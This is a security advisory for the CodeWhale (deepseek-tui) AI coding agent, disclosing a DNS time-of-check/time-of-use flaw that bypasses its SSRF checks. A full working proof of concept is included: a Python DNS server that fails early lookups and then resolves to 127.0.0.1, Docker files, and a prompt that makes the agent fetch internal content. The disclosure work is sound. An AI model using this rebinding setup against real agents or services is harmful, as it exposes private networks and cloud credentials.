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SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning

High
Hmbown published GHSA-6v2g-fpxh-pmmh Jul 16, 2026

Package

npm codewhale (npm)

Affected versions

>= 0.8.41, < 0.8.64

Patched versions

0.8.64
cargo codewhale-tui (Rust)
>= 0.8.41, < 0.8.64
0.8.64
cargo deepseek-tui (Rust)
>= 0.8.5, < 0.8.41
None
npm deepseek-tui (npm)
>= 0.8.5, < 0.8.41
0.8.41

Description

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Summary

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Details

Simplified attack scenario:

  1. Attacker asks agent to visit the mydomain.com.
  2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check).
  3. CodeWhale allows the code to continue as it expects it request to fail again.
  4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
  5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

PoC

I just vibe coded a custom DNS server that fails the first requests (in my case I had to fail first and second request, and allow 3rd and 4th due to A and AAAA DNS queries. Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dns_resolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None


def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
    """Rewrite a CNAME transparently (resolve alias locally)."""
    rewrites: dict[str, str] = {
        # "old.internal.": "new.internal.",
    }
    qname = str(query.q.qname)
    if qname in rewrites:
        target = rewrites[qname]
        print(f"  [REWRITE] {qname} → {target}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
        return reply
    return None


def handle_upstream(query: DNSRecord) -> DNSRecord | None:
    """Forward the query to the upstream resolver."""
    try:
        raw = query.pack()
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(3)
        sock.sendto(raw, UPSTREAM_DNS)
        data, _ = sock.recvfrom(4096)
        sock.close()
        reply = DNSRecord.parse(data)
        print(f"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
        return reply
    except Exception as e:
        print(f"  [UPSTREAM ERROR] {e}")
        return None


# Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
    handle_blocked,
    handle_overrides,
    handle_rewrite,
    handle_upstream,
]


# ─────────────────────────────────────────────────────────────────────────────
#  Server plumbing — no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────

def resolve(data: bytes) -> bytes:
    try:
        query = DNSRecord.parse(data)
        qname = str(query.q.qname)
        qtype = QTYPE[query.q.qtype]
        print(f"[QUERY] {qtype} {qname}")

        for handler in HANDLERS:
            reply = handler(query)
            if reply is not None:
                return reply.pack()

        # Fallback: SERVFAIL
        reply = query.reply()
        reply.header.rcode = 2
        return reply.pack()

    except Exception as e:
        print(f"[ERROR] Failed to parse/handle query: {e}")
        return b""


def udp_server(host: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    print(f"DNS resolver listening on {host}:{port} (UDP)")
    while True:
        data, addr = sock.recvfrom(4096)
        threading.Thread(
            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
            daemon=True,
        ).start()


def tcp_server(host: str, port: int) -> None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((host, port))
    srv.listen(10)
    print(f"DNS resolver listening on {host}:{port} (TCP)")

    def handle_conn(conn: socket.socket) -> None:
        with conn:
            length_bytes = conn.recv(2)
            if len(length_bytes) < 2:
                return
            length = int.from_bytes(length_bytes, "big")
            data = conn.recv(length)
            response = resolve(data)
            conn.sendall(len(response).to_bytes(2, "big") + response)

    while True:
        conn, _ = srv.accept()
        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()


def main() -> None:
    parser = argparse.ArgumentParser(description="Local DNS resolver")
    parser.add_argument("--host", default="0.0.0.0", help="Bind address")
    parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
    args = parser.parse_args()

    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
    t_udp.start()
    t_tcp.start()

    try:
        t_udp.join()
    except KeyboardInterrupt:
        print("\nShutting down.")


if __name__ == "__main__":
    main()

Docker file to build it(dnser/Dockerfile):

FROM python:3.12-slim

WORKDIR /app

RUN pip install dnslib --no-cache-dir

COPY dns_resolver.py .

EXPOSE 53/udp
EXPOSE 53/tcp

CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

docker-compose.yml:

services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1



networks:
  dns-net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.0.1.0/24

Then to check everything we could simply:
sudo docker attach tui
Prompt: read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output
The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.

To read the logs from dns-resolver:
sudo docker logs -f dns-resolver

Impact

Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits